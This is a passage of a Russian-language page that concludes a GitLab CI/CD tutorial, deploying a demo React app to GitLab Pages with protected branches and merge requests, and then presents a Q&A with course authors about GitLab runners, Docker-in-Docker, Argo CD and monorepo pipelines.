! Затем переведите задачу в стадию QA. Тут можете несколько раз поперетаскивать задачу из столбца в столбец туда-сюда. Кстати, такие приключения порой и происходят с задачами на данном этапе. В процессе у задачи будет появляться метка нового столбца и исчезать метка предыдущего столбца. В конце концов оставьте задачу в столбце Closed и обратите внимание что в результате этого действия она была закрыта.


Есть ещё один полезный интерфейс To-Do List(в меню рядом с меню логина есть подменю). Это список действий, которые по тем или иным причинам ожидается от вас. Мы не будем останавливаться на нём подробно, но я рекомендую заглядывать в него в процессе туториала время от времени чтобы составить представление о том как эта штука работает.


Конвейер непрерывной поставки


В этой секции мы реализуем непрерывную поставку(Continuous Delivery) средствами GitLab.


Построение конвейера непрерывной поставки в GitLab


Для того чтобы на самом деле выполнять код задач конвейеров, GitLab.com использует общие агенты (shared runners) которые реализуют docker executors. Если вы зарегистрируете свои собственные агенты, вам будет доступна куда большая гибкость в выборе сред сборки.


Давайте теперь сконструируем наш конвейер.


! Назначьте issue Создать конвейер непрерывной поставки и переведите его в статус Dev.


! Создадим конвейер непрерывной поставки(CI/CD pipeline). Для этого требуется создать файл .gitlab-ci.yaml.
На момент написания этой статьи это можно было сделать так.


  1. Перейдите в проект gitlab-cd-react
  2. Либо на странице Project overview / Details либо на странице Repository вы увидите файлы в вашем репозитории.
  3. Выберите опцию New file как показано на скриншоте. Вас перенаправят на страницу создания файла.
    New file
  4. В окне File name введите имя файла .gitlab-ci.yml, поле Template правее заполнится автоматически, появится ещё одно поле Apply a template. Ознакомьтесь с доступными опциями, попробуйте повыбирать разные варианты. В конце концов выберите Bash это просто шаблон с командами bash, мы будем использовать его в качестве отправной точки.

Давайте разберём полученный файл. Официальная документ по формату файла .gitlab-ci.yml находится тут.


Формат, который использует GitLab для определения конвейеров сборки один из самых простых и интуитивно понятных в отрасли.

image: busybox:latestbefore_script:  - echo "Before script section"  - echo "For example you might run an update here or install a build dependency"  - echo "Or perhaps you might print out some debugging details"after_script:  - echo "After script section"  - echo "For example you might do some cleanup here"build1:  stage: build  script:    - echo "Do your build here"test1:  stage: test  script:    - echo "Do a test here"    - echo "For example run a test suite"test2:  stage: test  script:    - echo "Do another parallel test here"    - echo "For example run a lint test"deploy1:  stage: deploy  script:    - echo "Do your deploy here"

Чтобы получить нужный нам конвейер чуть модифицируем этот файл.


image: busybox:latest

image задаёт какой образ docker будет использован для выполнения jobs сборки. По умолчанию GitLab использует Docker Hub, но это можно настроить. Нам понадобится образ с предустановленным Node.js.


! Укажите


image: node:14-alpine

before_script и after_script выполняются перед и после каждой задачи соответственно. В процессе выполнения задач, мы будем использовать модули Node.js.


! Организуем кэширование модулей для того чтобы не скачивать модули каждый раз из интернета.


cache:  key: ${CI_COMMIT_REF_SLUG}  paths:    - .npm/before_script:  - npm ci --cache .npm --prefer-offline

  • Мы вначале указываем где задачи будут искать кэш, а именно внутри текущей папки в подпапке .npm.
    В качестве ключа кэша используем ${CI_COMMIT_REF_SLUG}, это означает что мы держим отдельный кэш для каждой ветви в Git.
  • В before_script мы устанавливаем пакеты в соответствии с package-lock.json, указывая в качестве пути для кэша подпапку .npm.

Таким образом, в дальше в коде .gitlab-ci.yml мы можем исходить что пакеты уже установлены.


after_script нам в этом туториале не понадобится.


Перейдём к секции build1, изначально там должно быть что-то вроде этого:


build1:  stage: build  script:    - echo "Do your build here"

Обратим внимание на кусок stage: build. stage определяет этап конвейера, этапы выполняются один за другим. Один этап может содержать одну или более задач, которые могут выполняться параллельно.


! Изменим команды чтобы действительно осуществлять сборку:


build1:  stage: build  script:  - npm run build  artifacts:    expire_in: 1 week    paths:    - 'build/'

  • npm ci устанавливает необходимые модули в соответствии с файлом package-lock.json без проверки существуют ли они уже в папке node_modules.
  • npm run build запускает саму сборку минифицированного React-приложения.
  • artifacts указывает какие файлы должны быть сохранены для использования в будущем. Webpack с настройками create-react-app по умолчанию копирует файлы в папку build. expires_in мы используем для того чтобы не тратить место на уже не нужные сборки.

Обратим теперь внимание на кусок кода для этапа stage: test


test1:  stage: test  script:    - echo "Do a test here"    - echo "For example run a test suite"test2:  stage: test  script:    - echo "Do another parallel test here"    - echo "For example run a lint test"

! Нам не нужна задача test2, а задачу test1 изменим следующим образом:


test1:  stage: test  script:  - "CI=true npm test"   dependencies:  - build1

  • npm test тут запускает модульные тесты, определённые в нашем проекте.
  • dependencies указывает что данная задача test1 зависит от результатов задачи build1 чтобы артефакты этой задачи были доступны в текущей.

Перейдём к части связанной напрямую с развёртыванием.


deploy1:  stage: deploy  script:    - echo "Do your deploy here"

Эта часть обычно завязана на специфику среды в которую осуществляется развёртывание и потому технически сложна. GitLab поддерживает развёртывание в Kubernetes с минимальными усилиями по настройке. Альтернативой является реализация логики развёртывания в другую среду своими силами. Оставим технические детали этого процесса для будущих статей. Фокус данной статьи на объяснении основ работы с GitLab, поэтому мы прибегнем к хитрости, а точнее используем то обстоятельство что наше приложение на React технически является статическим вебсайтом и развернём его на GitLab Pages, которые доступны любому у кого есть учётная запись на GitLab.com.


! Заменим job deploy1 на этот код.


pages:  stage: deploy  script:  - mv public _public  - mv build public  only:  - master  artifacts:    paths:    - public  dependencies:  - build1

Мы переименовали deploy1 в pages потому что GitLab именно по названию задачи понимает что требуется развернуть файлы доступные этой задаче в GitLab Pages.
Далее делаем 2 вещи.


  • mv public _public сохраняет папку public которая есть в приложении, сгенерированном из шаблона create-react-app. Мы делаем это потому что GitLab будет возвращать в ответ на запросы к Pages именно содержимое папки public.
  • mv build public тут мы как раз помещаем результат сборки туда где веб-сервер GitLab Pages будет искать его.

Завершим на этом работу над нашим конвейером.


! Закоммитьте отредактированный файл .gitlab-ci.yml, укажите "Add CI/CD pipeline" в качестве Commit message, оставьте в качестве ветви master.


! Переведите задачу Создать конвейер непрерывной поставки в стадию Dev: done.


Проведём несколько циклов работы с GitLab Flow


Git очень гибкая система контроля версий кода и использовать его можно очень по-разному. Если каждый член команды использует Git по-своему, возникает путаница когда трудно понять логику действий других людей из истории изменений, и никто не понимает что ожидать от других. Об измерении производительности в такой ситуации и говорить не приходится. Для того чтобы такая путаница не возникала участники команды обычно договариваются о единых правила работы с Git, такая договорённость и называется Git workflow.


Чтобы изучить реализацию GitLab Flow в GitLab мы сделаем эти вещи:


  • обсудим что такое процесс работы с Git(Git workflow) вообще;
  • посмотрим, как в GitLab устроены права доступа и защищённые ветви;
  • разберёмся как работают merge request`ы;
  • проведём несколько итераций GitLab Flow.

Процесс работы с Git


Если коротко, то GitLab Flow состоит в том что


  • при каждой необходимости что-то изменить в коде создаётся ветвь от главной (в Git по умолчанию master);
  • затем открывается merge request (в других системах называется pull request) где происходит обсуждение вносимых изменений;
  • для каждой из сред (тестовой, продуктивной и т.д.) при этом существует отдельная ветвь;
  • одна из "ветвей сред", откуда происходит безусловное развёртывание может совпадать с главной;
  • развёртывание происходит путём слияния в ветвь соответствующей среды;
  • cлияния происходят из feature branch в главную ветвь или из "менее продуктивной" ветви среды в "более продуктивную".

На самом деле для реализации CD нам годится любой процесс работы с Git который поддерживает trunk based development, и мы могли бы реализовать любой такой процесс при помощи GitLab. Однако по той причине, что GitLab рекомендует использовать GitLab Flow и для того чтобы не усложнять наш сценарий, мы его и используем.

Уровни доступа в GitLab


Существует разные уровни доступа, в порядке понижения полномочий.


  • Instance administrator доступен только для отдельных инсталляций, может всё.
  • Owner владелец группы проектов, может всё кроме чисто технических штук типа включения-отключения фич и интеграции с другими сервисами.
  • Maintainer может всё кроме некоторых действий в отношении всего проекта типа изменения его названия или степени видимости, а также деструктивных действий типа удаления задач.
  • Developer может то же что и Maintainer кроме некоторых администраторских и деструктивных функций внутри проекта типа настройки защищенности ветвей и редактирования комментариев.
  • Reporter может редактировать задачи, но не может вносить изменения в репозиторий.
  • Guest доступ только на чтение issue кроме конфиденциальных, может создавать новые задачи.
    Данные о полномочиях здесь приведены для полноты, активно использовать в рамках туториала мы их не будем.

Merge requests


Merge requests основной способ внесения изменений в код при использовании GitLab. Изменения вносятся в код, затем автором изменений создаётся merge request, который затем обсуждается, в котором происходит code review. Merge request в результате принимается, отправляется на доработку или отклоняется.


! Зайдите в задачу Провести несколько итераций GitLab Flow, назначьте его на себя и переведите в колонку Dev.


! Переведите задачу Создать конвейер непрерывной поставки в стадию QA.


Да, вот так мы будем тестировать наш конвейер, но вы должны тестировать на реальных проектах более ответственно. Не делайте как я делаю, делайте как я говорю.

Наше приложение бесполезно. В этом нет ничего необычного, ведь в интернете много бесполезных приложений. Чтобы выйти на новый уровень, давайте сделаем наше приложение токсичным. Существуют 2 фичи, которые являются проверенным способом достичь этого.


! Откройте файл src/App.js на редактирование (Repository -> Files, Edit) и добавьте эту строчку прямо вверху файла.


import {useEffect} from 'react';

В качестве Commit message укажите, например, "Add React imports". В качестве Target branch оставьте master и нажмите Commit changes.


Упс, мы только что закоммитили изменения сразу в master. Некоторые workflow позволяют такое, но мы будем работать в рамках GitLab Flow. Избежать подобных казусов в дальнейшем нам поможет фича GitLab под названием защищённые ветви(protected branches). Её смысл не в разграничении доступа, а в том, чтобы помочь членам команды работать в рамках договорённостей и избежать случайного изменения и удаления данных в репозитории.


! Нажмите в левом меню Settings -> Repository. В открывшейся странице найдите раздел Protected Branches.


Вы увидите что по умолчанию защищена только ветка master, но вы можете добавить и другие. И по умолчанию


  • force push запрещён всем
  • push разрешён Maintainers
  • merge разрешён Maintainers

! Измените Allowed to push на No one.


! Отлично, давайте вернёмся к редактированию файла src/App.js. После строчки


function App() {

перед строчкой


  return (

добавьте


  useEffect(() => {    alert('Consent to cookies and everything!');  }, []); 

Соответствующий участок кода должен теперь выглядеть примерно так


// ...other codefunction App() {  useEffect(() => {    alert('Consent to cookies and everything!');  }, []);   return (// ...other code

Укажите "Add the annoying popup" в качестве commit message.


Вы увидите что вам предлагается добавить коммит в некую ветвь и в уже автоматически сгенерировано некоторое имя ветви. Мы в будущем заменим это имя на более осмысленное и соответствующее нашему процессу работы с Git, но пока давайте проведём небольшой эксперимент.


! Замените предлагаемое имя на master и нажмите Commit changes.


Вы увидите сообщение об ошибке You are not allowed to push into this branch. Хорошо! Защита ветвей работает. Давайте теперь инициируем процедуру внесения изменений в код так как это предполагается делать.


! Замените теперь имя ветви с master на feature-cookies-consent. Оставьте чекбокс Start a new merge request with these changes установленным. Будет создана ветвь с указанным названием и изменения будут закоммичены в эту ветвь. Вы окажетесь на странице создания merge request'а. Оставьте


  • заголовок merge request'а по умолчанию.
  • Assignee и Reviewer Unassigned.
  • всё остальное также по умолчанию.

Нажмите Submit merge request


Кстати


  • Assignee ответственный за работу над merge request'ом и его слияние в целевую ветвь,
  • Reviewer же изучает предложенные изменения и может согласовать их если они кажутся правильными.

После создания merge request'а, ы окажетесь его на странице. Давайте изучим эту страницу. В основной области мы видим следующее.


  • Какую ветвь мы сливаем с какой (feature-cookies-consent в master).
  • Статус pipeline для ветви feature-cookies-consent.
  • Возможность согласовать merge request от имени текущего пользователя.
  • Кнопка Merge осуществляет принятие merge request'а и непосредственно слияние ветвей, которое приводит к внесению изменений в master.
  • Область где можно посмотреть коммиты, которые будут слиты, там же можно изменить сообщение merge commit'а.
  • Возможности принять участие в обсуждении:
    • выразить своё отношение и оставить смайлик;
    • область добавления комментария.
  • Кнопку Close merge request, которая позволяет закрыть merge request без принятия изменений в код master.

Для бесплатных подписок есть только возможность "совещательного" согласования merge request'а, в платных версиях есть возможность сделать согласование необходимым.

Если вы переключитесь на вкладку Changes, вы можете посмотреть, какие изменения в код планируется внести. Здесь же вы можете создать комментарий, который будет ссылаться на строку кода.


Кстати, merge requests также поддерживают метки, которые вы можете использовать чтобы было проще находить нужные.


К этому моменту работа конвейера уже должна завершиться и тесты завершены неуспешно. В нашем конкретном случае это потому что мы использовали window.alert который является чисто браузерным объектом и наши выполняемые в среде Node.js юнит-тесты не имеют к нему доступа.


В случае непрерывной поставки требуется очень хороший набор автоматических тестов потому что именно на них переложена почти вся, а в случае непрерывного развёртывания(Continuous Deployment) вся, ответственность за контроль качества. Поддержание такого набора тестов в актуальном состоянии главная технический вызов в реализации таких методологий.


! Исправим src/App.js, добавив проверку на то что код работает в браузере. Давайте поместим код, использующий window.alert внутрь блока кода, проверяющего что мы в браузере. Убедитесь что вы редактируете файл в ветке feature-cookies-consent.
Должно получиться примерно так


// ...other codefunction App() {  useEffect(() => {    if (typeof process === 'undefined' || process.release === undefined) {      alert('Consent to cookies and everything!');    }  }, []);   return (// ...remaining code

Добавьте "Ensure running in a browser" в качестве commit message. В качестве Target Branch должна быть установлена feature-cookies-consent.


! Давайте вернёмся в merge request Add the annoying popup и нажмём кнопку Merge и примем изменения в код. Оставьте чекбокс Delete source branch установленным.


При использовании GitLab Flow feature branches традиционно удаляют. Это позволяет избежать замусоривания системы уже неактуальными ветвями и создавать ветвь с тем же именем в случае отправки задачи на доработку.


! Откройте Repository -> Graph и обратите внимание на то что feature-cookies-consent теперь слита с master.
Затем откройте файл src/App.js в ветке master и заметьте что код уже содержит правки.


! Зайдите в задачу Провести несколько итераций GitLab Flow и в основной области нажмите стрелочку вниз рядом с кнопкой Create merge request. Укажите имя ветки, которую вы хотите создать чтобы базировать на ней новый merge request. feature-notifications-consent вполне подойдёт. Оставьте в качестве source branch master.


При создании merge request'а таким образом задача будет закрыта автоматически как только мы сольём код в основную ветвь.


Обратите внимание что автоматически сгенерированное название нашего merge request'а начинается с Draft:. Это означает что merge request помечен как черновик. Это полезно для авторов чтобы явно обозначить что работа пока не завершена и избежать слияния изменений as is в результате недопонимания. Этого же можно добиться и при помощи кнопки Mark as draft в верхней правой части основной области.


Добавим функцию оповещений в наш вебсайт чтобы он выглядел современно.


! Давайте для разнообразия внесём изменения в код чуть иначе. На странице merge request'а нажмите кнопку Open in Web IDE. Откроется чуть более удобный для работы с кодом интерфейс. Уже из него откройте файл src/App.js. Добавьте код


      Notification.requestPermission().then(function(result) {        alert(`You ${result} notifications`);      });

после ранее добавленной строчки


      alert('Consent to cookies and everything!');

! Нажмите кнопку Commit в левой нижней части. Вы увидите интерфейс коммита, укажите в качестве commit message "Add the notifications users want". Оставьте всё остальное по умолчанию и нажмите кнопку Commit.


! Перейдите в merge request, например, используя подменю в верхней правой части экрана рядом с меню логина.Нажмите кнопку Mark as ready в верхней правой части формы merge request'а. Нажмите кнопку Merge или Merge when pipeline succeeds в зависимости от того завершился ли уже конвейер.


! Откройте наш тестовый вебсайт и убедитесь что новые "фичи" работают, и наша страница ощущается как большинство современных сайтов в интернете.


! Если с сайтом всё хорошо, перетащите задачу Создать конвейер непрерывной поставки в стадию Closed на доске.


Итак, мы провели несколько полных циклов работы и теперь можем изучить метрики, которые GitLab собрал в процессе работы.


Метрики CI/CD в GitLab


В процессе командной работы полезно собирать статистику чтобы понимать повышается ли продуктивность или падает. Способы оценки производительности могут быть совсем разными в зависимости от характера работы и типа проекта или продукта.


Например, веб-студия может иметь "типовые" задачи типа отрисовки макета в рамках стандартного пакета услуг, предлагаемого клиенту. Agile стартап же может находиться в стадии когда концепция продукта меняется вместе с растущим пониманием потребностей клиента и рынка, и задачи могут быть трудно предсказуемы и часто уникальны. Вместе с тем, можно выделить чисто технические показатели производительности вроде одного из основных для DevOps времени вывода новой фичи на рынок (time to market, TTM) или просто длительности той или иной стадии. Отслеживать динамику таких показателей может быть очень полезно: за достаточно длительный период времени это позволяет понять как изменяется производительность.

Хорошей новостью является то что GitLab имеет функционал сбора этой статистики. Давайте с этим функционалом познакомимся.


! Кликните на Analytics. По умолчанию откроется раздел Value stream. В Lean вообще и в DevOps в частности считается что задачи несут в конечном итоге некоторую пользу для конечного заказчика. И движение таких полезных задач, от стадии формулирования через все этапы работы до того момента когда результаты становятся доступны заказчику называется value stream.


Основные средние величины по этапам:


  • Issue время которое уходит на то чтобы задачу "взять в работу" т.е. присвоить метку или добавить в Milestone.
  • Plan время от последнего действия в предыдущем этапе до появления первого коммита в ветке, хоты бы один из коммитов которой связан с той же задачей. То есть "время, которое уходит чтобы начать коммитить".
  • Code время существования ветки, связанной с той или иной задачей, которое уходит до появления merge request'a.
  • Test время от начала до конца всех конвейеров данного проекта.
  • Review время от создания merge request'а до его слияния или закрытия.
  • Staging время от принятия merge request до развёртывания в продуктивную среду.

Если вы сложите длительность Issue, Plan, Code, Review и Staging, вы и получите примерно то самое заветное время для вывода на рынок (TTM).


Наверху страницы в также увидите некие агрегатные показатели по проекту за выбранный период времени.


Analytics -> Repository показывает разные графики связанные с языками коммитов, показателями code coverage (если настроено), распределением коммитов во времени (месяц, дни недели, часы).


Analytics -> CI/CD показывает сводные данные по выполенным pipelines, в том числе график показывающий динамику изменения "успешности" выполнения pipelines.


Поздравляю!


Вы осуществили имплементацию непрерывной поставки(CD) при помощи GitLab начиная с задач с канбан-доской и завершая метриками.


Ссылки


  1. GitLab product handbook
  2. The DevOps Handbook
  3. Pro Git Book
Подробнее..

Тонкости настройки CICD как работает GitLab runner, когда использовать Docker-in-Docker и где пригодится Argo CD

21.01.2021 08:19:12 | Автор: admin


В конце прошлого года в Слёрме вышел видеокурс по CI/CD. Авторы курса инженер Southbridge Александр Швалов и старший системный инженер Tinkoff Тимофей Ларкин ответили на вопросы первых студентов.


В частности, обсудили:


  • Как работает GitLab runner: сколько задач берёт и сколько ресурсов потребляет, где его лучше размещать и как настроить шаринг между проектами?
  • Как настраиваются пайплайны для проектов в монорепозитории? А как в ситуации, когда для каждого микросервиса свой репозиторий?
  • Как бороться с тем, что во время сборки артефакта в Docker очень быстро забивается свободное место на диске?
  • Когда лучше использовать подход Docker-in-Docker?
  • Как организовать доставку и развёртывание сервисов в закрытые окружения заказчика?

Видео с ответами на вопросы смотрите на YouTube. Под катом текстовая версия разговора.


С версии 20.10 Docker Engine стал rootless. Раньше эта фича была экспериментальной, а теперь оказалась в проде. Изменится ли что-то с точки зрения безопасности и сборки Docker-образов без root-привилегий?


Тимофей Ларкин: Я не думаю, что это сильно на что-то повлияет. Возможно, они идут к тому, чтобы появился отдельный сборщик образов от Docker. Но пока мы используем Docker-in-Docker, и, скорее всего, этот Docker-in-Docker в режиме rootless просто не будет запускаться.


Надо смотреть апдейты к документации основных пользователей этих фич, например, того же Gitlab, который сейчас предлагает пользоваться kaniko. Возможно, когда-то функциональность станет достаточно зрелой, Gitlab обновит документацию и напишет, что можно собирать образы ещё и так. Но пока, я думаю, мы до этого не дошли.


Александр Швалов: В документации Gitlab есть открытый баг (issue), мол, давайте включим режим rootless, но официальной поддержки пока нет. Для сборки поддерживается kaniko, и мы добавили пример с kaniko в наш курс.


Дайте пример реального размещения репозиториев с кодом, секретами и helm-чартами где всё должно лежать в жизни? Как выглядит по умолчанию шаблон? Боевой deployment.yml не должен быть в репозитории сервиса?


Тимофей Ларкин: Ответ на такие вопросы всегда it depends зависит от ситуации. Если это open source проект, то там может и не быть деплойментов, там может быть makefile, который покажет, как собрать артефакт, как из него собрать Docker-образ. Но это репозиторий на Github, в лучшем случае он через github actions делает регулярные билды и кладёт их на Docker Hub или другой репозиторий образов контейнеров. Оно и понятно: это просто open source проект, куда его деплоить.


Другое дело, если это проект, который вы деплоите на инфраструктуре: своей, облачной неважно. Например, это приложение, которое разрабатывается и используется у вас в компании. Действительно, довольно простой способ держать и код, и скрипты сборки артефактов, и какой-нибудь helm-чарт в одном репозитории. Разнести по разным папкам, а GitLab CI будет и собирать, и сохранять артефакты, и пушить изменения в Kubernetes.


Подход не очень масштабируемый: когда приложений много, становится тяжело отслеживать, что задеплоено в Kubernetes. Чтобы решить проблему, подключают сервисы вроде Argo CD, а код и описание конфигурации хранят в разных репозиториях. Деплоят через CI (push-модель) или через кубы в Argo.


Когда компания занимается заказной разработкой, всё ещё сложнее. Встаёт вопрос, как деплоить код на инфраструктуру заказчика, и готов ли он принять Continuous Deployment исполнителя или хочет больше контроля? Надо смотреть на специфику.


Александр Швалов: У каждой команды свои стандарты, некоторые сложились исторически, некоторые появились на основе шаблонов или документации. В нашем курсе по CI/CD есть примеры, они рабочие можете адаптировать под свой проект. Исходите из своих потребностей.


Есть ли краткий справочник по полям gitlab-ci файла?


Александр Швалов: Краткого справочника нет, если нужна конкретная фича, лучше идти в документацию и смотреть, что там есть. Ну а базовые принципы как из большого набора кирпичиков собрать свой gitlab-ci.yml вы можете почерпнуть из курса или документации. Если в курсе нет, в документации точно будет.


Тимофей Ларкин: Если есть запрос, такой краткий справочник можно сделать, это несложно. Я бы хотел добавить, что мы изначально не хотели перепечатывать документацию и по возможности старались этого не делать, но всё равно получили некоторое количество негативного фидбека: мол, зачем ваш курс, если я могу всё это в документации прочесть.


Как можно привязать Jira к GitLab?


Александр Швалов: У бесплатной версии GitLab есть интеграция с Jira, ищите в соответствующем разделе.


Тимофей Ларкин: Более того, мы работали одновременно с двумя issue-трекерами: все проекты вязались в Jira, но отдельные команды настраивали для своих репозиториев привязку к YouTrack. Это было не очень удобно, потому что надо было ходить по каждому репозиторию, который хочешь привязать. Но да, такая функциональность действительно есть даже в бесплатном GitLab.


Почему joba release триггерится при изменении тега, хотя в родительском пайплайне стоит only changes?


Александр Швалов: Я провёл небольшое исследование и выяснил: это не баг, это фича. В GitLab был заведён баг, и его закрыли с комментарием, что так задумано. Если вам нужно обойти это поведение, используйте один из двух вариантов, которые предлагает GitLab.


GitLab не обновляет статусы дочерних пайплайнов. Что с этим делать?


Александр Швалов: А вот это уже баг. Возможно, когда-нибудь починят.


Есть ли в GitLab профили переменных? Например, я хочу сделать переменную host, и чтобы она приезжала разная в зависимости от окружения. Есть ли какое-нибудь профилирование? Например, я не хочу называть переменную host_dev, host_prod и host_test, а хочу указать окружение, и оно определённый набор переменных вытащит? Можно ли такое сделать?


Тимофей Ларкин: С ходу на ум мало что приходит. Можно, наверное, какие-то env-файлы держать в репозитории и просто их сорсить в пайплайне.


Нормальная практика называть host_dev, host_prod, host_test и т. д?


Александр Швалов: Скорее всего, есть встроенные переменные. Если у вас описано разделение по окружениям, то встроенная переменная будет знать, как называется окружение.


Тимофей Ларкин: Я не сталкивался с таким наименованием переменных. Это кажется оправданным, только если один пайплайн должен работать одновременно с несколькими разными окружениями. Если просто хочется разного поведения пайплайна в зависимости от ветки или чего угодно ещё


У меня в пайплайне может быть стадия deploy и стадия release, и тогда эти переменные должны быть разные, иначе как?


Тимофей Ларкин: То есть сначала один job деплоит на stage, а потом следующий job деплоит на prod?


Нет, job, который на prod работает, он срабатывает, когда only text. Всё это описано в одном пайплайне.


Тимофей Ларкин: Я решал это ямловскими (YAML прим. редактора) якорями, у меня были очень однотипные jobы из трёх строчек. Или можно теми же extends, как в примере с Docker. А дальше в каждом job пишешь свой блок variables, поэтому основное тело jobа работает с одними и теми же скриптами, но в зависимости от значения переменной host или переменной environment, оно деплоит на разное окружение.


Мы не имеем разные переменные для разных jobов, мы используем одни и те же названия переменных, просто с разными значениями. Возможно, оправдано в репозиторий поместить какие-то скрипты, которые сами внутри себя это разруливают, чтобы не раздувать gitlab-ci.yml.


SSH executor создаётся по одному на сервер?


Тимофей Ларкин: Фактически да. Можно, разве что, поставить какой-нибудь tcp-балансировщик и рандомно попадать на тот или иной сервер.


Имеет смысл разделять раннеры, которые деплоят на test и staging, и раннеры, которые деплоят на prod?


Тимофей Ларкин: Наверное, можно. Действительно, запустить раннеры в разных сетевых сегментах, которые не могут общаться друг с другом. В моей практике это не было нужно. У нас была ориентированная на Kubernetes система, а если речь идёт про SSH на тот сервер, SSH на этот сервер наверное, это будет оправдано.


В Kubernetes вы, наверное, по разным namespace деплоили и всё?


Тимофей Ларкин: Да, но при этом все раннеры в одном и том же месте запускались. Был отдельный namespace для раннеров.


Правильно ли я понимаю, что раннер берёт только одну задачу? Потому что иначе переменные окружения пересекутся.


Тимофей Ларкин: Необязательно, это зависит от того, какой executor работает.


Александр Швалов: Есть параметр concurrency. Если раннер один и идёт долгий пайплайн, то получается, что остальные девелоперы сидят и курят бамбук мы такое проходили, и для обхода настраивали concurrency. В зависимости от ресурсов раннера: сколько jobов он потянет одновременно, можно настраивать.


Он под каждую jobу своё окружение создаст?


Тимофей Ларкин: Да, он либо свой инстанс в bash запустит, либо несколько SSH-подключений, либо несколько Docker-контейнеров или подов в Kubernetes.


Есть ли в Argo CD и других GitOps-инструментах возможность параметризации реакции на изменения? Например, обновлять prod окружение, только если мастер + тэг или если фича, то в dev окружении менять состояние/производить обновления?


Тимофей Ларкин: В вопросе есть очень распространённое заблуждение, я и сам на нём спотыкался. Надо запомнить: не бывает, чтобы у нас был тег на мастер-ветке. Тег никогда на ветке не бывает. Где-то в GitLab даже есть issue, который это очень подробно объясняет. Но это лирическое отступление.


В принципе, Argo CD может что-то похожее сделать. Но надо понимать, что он не совсем про это. Его основная и довольно простая функция это чтобы в таком-то месте (namespace или кластере Kubernetes) была задеплоена такая-то ветка, такой-то тег определённого репозитория.


Как мне показалось, в вопросе речь была о пайплайнах и CI/CD. Но это не основная функциональность Argo, и кажется, он такого не поддерживает. Можно посмотреть на другие GitOps-инструменты. По-моему, у werf от Фланта есть функционал отслеживания что там меняется в Docker-репозитории. Но в целом GitOps это не совсем про это. Вот как в гите опишите, то и будет задеплоено.


На коммит Argo увидит: О! Что-то поменялось, значит надо поменять это и в Kubernetes, но без какой-то сильно ветвистой логики.


Александр Швалов: Я добавлю, что тэг это не ветка, а по смыслу ближе к коммиту. Тут поможет семантическое версионирование, и можно настраивать шаблоны для Argo CD. Если для продакшена, то конкретный релиз: 1.2.0, 1.2.1. Для stage будет 1.2. любая циферка в конце приедет на stage. Для QA это 1. всё остальное приедет. Для совсем свежего, для локальной разработки просто звёздочка *, любой тег Argo CD будет сразу подтягивать.


Какой сканер посоветуете для Docker-образов? Мне trivy понравился, но может что удобнее есть?


Александр Швалов: Я использовал Trivy, нареканий не было.


Как настраиваются пайплайны для проектов в монорепе, и как в ситуации, когда для каждого микросервиса свой репозиторий?


Александр Швалов: Возможно, мы добавим такой пример в курс. Спасибо за запрос! Вообще, ходят слухи, что у Google и Microsoft всё хранилось или хранится в монорепах миллиарды строк кода. Здесь многое зависит от человеческого фактора, а не от инструментов. Если говорить о GitLab CI/CD, то всё просто: в шаге сборки какой-то части, например, фронтенда используем only changes, выбираем каталог и дальше поехали. Что-то изменилось, GitLab производит деплой. С тестами будет посложнее, потому что фронтенд (или какая-то часть, особенно, если это микросервисы) запустится и будет неполноценным. Поэтому для тестов придётся поднимать минимальные зависимости.


Тимофей Ларкин: Я не видел open source систем контроля версий, которые поддерживают такую модель работы, как монорепозиторий. У больших игроков свои системы, и разработчики даже рассказывают: Вот, я работал в Google/Amazon/Facebook, а потом я ушёл оттуда, пошёл в среднего размера компанию, и я не знаю, что делать. Нигде нет магии этих больших систем, которые сами решают все проблемы с версионированием кода. Внезапно я должен работать с тем же GitLab.


Поэтому если вы не огромная корпорация с ресурсом написать свою систему контроля версий, то можно костылить пайплайны, чтобы они были как монорепозитории писать кучу only changes на различные куски. До каких-то масштабов это, наверное, будет работать. Взять тот же Kubernetes, который выпускает свои известные 5 бинарей (и даже чуть больше) с параллельным версионированием. Нет такого, что один компонент в своём репозитории, другой в своём, и у них свой набор версий. Нет, они выпускаются из одного репозитория, поэтому у них хэши комитов, теги и всё остальное одинаковое. Да, так можно работать. Go позволяет собирать несколько бинарников из одного модуля, но в целом так не очень легко работать. Для какого-то проекта да.


В масштабах организации, наверное, у вас есть несколько продуктов, которые логически не связаны и их не стоит пихать в монорепы. По крайней мере, не стоит для этого пытаться использовать GitLab.


Ну и как всегда: если хотите оставаться в парадигме один репозиторий один микросервис, тогда где-то храните метаданные (какой хеш коммита соответствует какому тегу, какому релизу) и с помощью Argo оркестрируйте всё это.


Какие существуют best practices по размещению раннеров? Как лучше организовать размещение нескольких раннеров на одной машине, чтобы можно было добавлять новые? Стоит ли размещать раннеры в Docker-контейнерах, или лучше использовать виртуальные машины, например, kvm?


Александр Швалов: GitLab для раннеров по запросу предлагает использовать Docker Machine, и соответственно использует драйверы оттуда это всяческие облака и виртуализации (AWS, Azure, VirtualBox, Hyper V, vmWare). KVM в списке нет. Для множественных раннеров можно настраивать также шареный кэш. Например, в AWS S3 хранилище.


Однако этот подход через Docker Machine сам GitLab считает малость устаревшим. Есть открытый баг, где разработчики размышляют, куда лучше перейти, какие-то варианты есть. Самый очевидный перейти в Kubernetes. Ну а best practice в общем не размещать раннер на одном хосте с GitLab, чтобы они друг друга не аффектили. Ну и на продакшене раннер тоже лучше не размещать, потому что вдруг туда что-то прилетит критичное.


Для небольших проектов достаточно одного раннера (на своих проектах я так и делал). Просто настроить ему concurrency, чтобы разработчики не стояли в очереди друг за другом, и дать какое-то количество процессора и памяти, настроить опытным путём и так жить.


Тимофей Ларкин: Когда мы пайплайны гоняли в Kubernetes, то мы просто на несколько хостов вешали taint с эффектом PreferNoSchedule, чтобы пользовательские нагрузки приложения запускались преимущественно где-то на других хостах. Но при этом на раннеры мы вешали nodeSelector как раз на эти же самые хосты. Это к вопросу о разделении нагрузки от приложения и нагрузки от раннера.


Да, есть беда, что у сборок совершенно другой профиль нагрузки, чем у обычных приложений. Как правило, сборка это хорошая нагрузка на CPU (обычно именно на CPU, а не на память). Затем идёт сборка Docker-образа, (если мы более-менее всё аккуратно делаем: сначала собрали артефакт, затем его как артефакт передали в следующий этап пайплайна, а затем в Docker-образ кладём готовые бинарники), то идёт нагрузка на диск, потому что там все эти слои формируются, пишутся и, наконец, после этого мы загружаем сеть, перекачивая собранный Docker-образ в наш registry.


Из-за всех этих неровностей лучше раннеры держать подальше от обычных приложений. И они достаточно много ресурсов требуют. Когда мы занимались ограничениями, мы ставили командам лимит 4 ядра, и у них сборка какой-нибудь тяжелой Java существенно замедлялась.


